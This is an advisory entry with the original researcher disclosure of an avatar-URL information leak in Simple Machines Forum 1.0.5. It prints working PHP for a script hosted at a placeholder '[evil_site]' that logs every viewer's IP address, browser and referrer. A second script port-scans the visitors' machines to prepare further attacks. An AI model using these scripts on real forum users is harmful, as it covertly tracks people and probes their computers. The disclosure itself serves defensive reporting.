Impact:
Disclosure of system information, Disclosure of user information

Description:
rgod reported a vulnerability in SMF. A remote user can obtain information about site users.
A remote authenticated user can set their avatar image filename to a URL for a remote PHP script. When a target user views an SMF page that ostensibly contains the avatar picture, the target user's browser will load the URL. As a result, the remote script can obtain information about the target user, such as IP address and HTTP header parameters.
A demonstration exploit filename is provided:
http://[evil_site]/image.php

Subject: Simple Machine Forum 1-0-5 (possibly prior versions) user IP address / information disclosure

Simple Machine Forum 1-0-5 (possibly prior versions) user IP address /
information disclosure
software:
site: http://www.simplemachines.org/
information disclosure:
a user can choose an sumbit an avatar url like this:
http://[evil_site]/image.php
where image.php is a file like this:
<?php
$log="log".date("Ymd").".txt";
$fp=fopen($log,'a');
fputs($fp,$REMOTE_ADDR.":".$REMOTE_PORT." - ".$HTTP_USER_AGENT."-"
$HTTP_REFERER."-".$REQUEST_METHOD."-".$QUERY_STRING."-"
$HTTP_ACCEPT_LANGUAGE."-".$REQUEST_URI."\r\n");
fclose($fp)
?>
When forum users view a page that should show the avatar, a new line is
appended
to log[date].txt on [evil_site] server, like this:
08.31.05 04.09 - 192.168.1.1:8562 - Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)-http://[target]/[path]/[page]-GET--it-/image.php
so an external user can monitor in details the forum activity, user ip
addresses, have informations on OS and browsers used and so on
the evil script could check for open ports/services on target machines to
send
them exploit code or proxies, trojan ports, do some other stuff, just an
example:
<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 1);
$log="log".date("Ymd").".txt";
$fp=fopen($log,'a');
fputs($fp,'open ports on '.$REMOTE_ADDR.": ");
$portlist="23;135;139;445;1080;3128;8080;12345";
$ports=explode(";",$portlist);
for ($i=0; $i<=count($ports)-1; $i++)
{
$ock=fsockopen($REMOTE_ADDR,$ports[$i]);
if ($ock) {fputs($fp,$ports[$i].' '); fclose($ock);}
}
fputs($fp,"\r\n");
fclose($fp);
//then a lot of creativity ;)
?>
